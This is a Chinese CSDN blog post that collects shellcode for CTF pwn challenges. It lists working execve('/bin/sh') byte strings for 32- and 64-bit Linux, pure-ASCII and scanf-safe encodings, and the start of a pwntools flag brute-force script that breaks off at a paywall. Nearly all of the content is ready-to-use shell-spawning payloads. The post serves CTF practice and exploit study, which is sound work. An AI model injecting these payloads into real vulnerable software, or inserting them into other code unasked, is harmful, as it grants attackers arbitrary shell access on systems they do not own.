pwn题shellcode收集

最新推荐文章于 2025-03-02 14:24:26 发布

__lifanxin

最新推荐文章于 2025-03-02 14:24:26 发布

阅读量5.4k

点赞数 13

分类专栏： pwn ctf 网络安全文章标签： pwn 网络安全

本文链接：https://blog.csdn.net/A951860555/article/details/114106118

版权

这篇博客整理了pwn题目中常见的shellcode，包括execve和cmp flag byte的shellcode实例，便于读者参考和在解决pwn问题时使用。在无法直接获取flag的情况下，文章还介绍了如何通过shellcode实现爆破逻辑。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

shellcode --> execve

这里对pwn中使用到的shellcode做了一个汇总，方便大家参考和使用。

# 32位 短字节shellcode --> 21字节
\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xcd\x80

# 32位 纯ascii字符shellcode
PYIIIIIIIIIIQZVTX30VX4AP0A3HH0A00ABAABTAAQ2AB2BB0BBXP8ACJJISZTK1HMIQBSVCX6MU3K9M7CXVOSC3XS0BHVOBBE9RNLIJC62ZH5X5PS0C0FOE22I2NFOSCRHEP0WQCK9KQ8MK0AA

# 32位 scanf可读取的shellcode
\xeb\x1b\x5e\x89\xf3\x89\xf7\x83\xc7\x07\x29\xc0\xaa\x89\xf9\x89\xf0\xab\x89\xfa\x29\xc0\xab\xb0\x08\x04\x03\xcd\x80\xe8\xe0\xff\xff\xff/bin/sh

# 64位 scanf可读取的shellcode 22字节
\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\xb0\x3b\x99\x0f\x05

# 64位 较短的shellcode  23字节
\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05

# 64位 纯ascii字符shellcode
Ph0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070t

shellcode --> cmp flag byte

下面的代码是在无法输出flag时，尝试用shellcode实现一个爆破逻辑，当flag的字符与我们猜想的字符一致时代码将会陷入循环，如此来爆破flag。

from pwn import *
import string


# # 这里的pwn只是为了演示流程，具体逻辑还得看题目
def pwn

最低0.47元/天解锁文章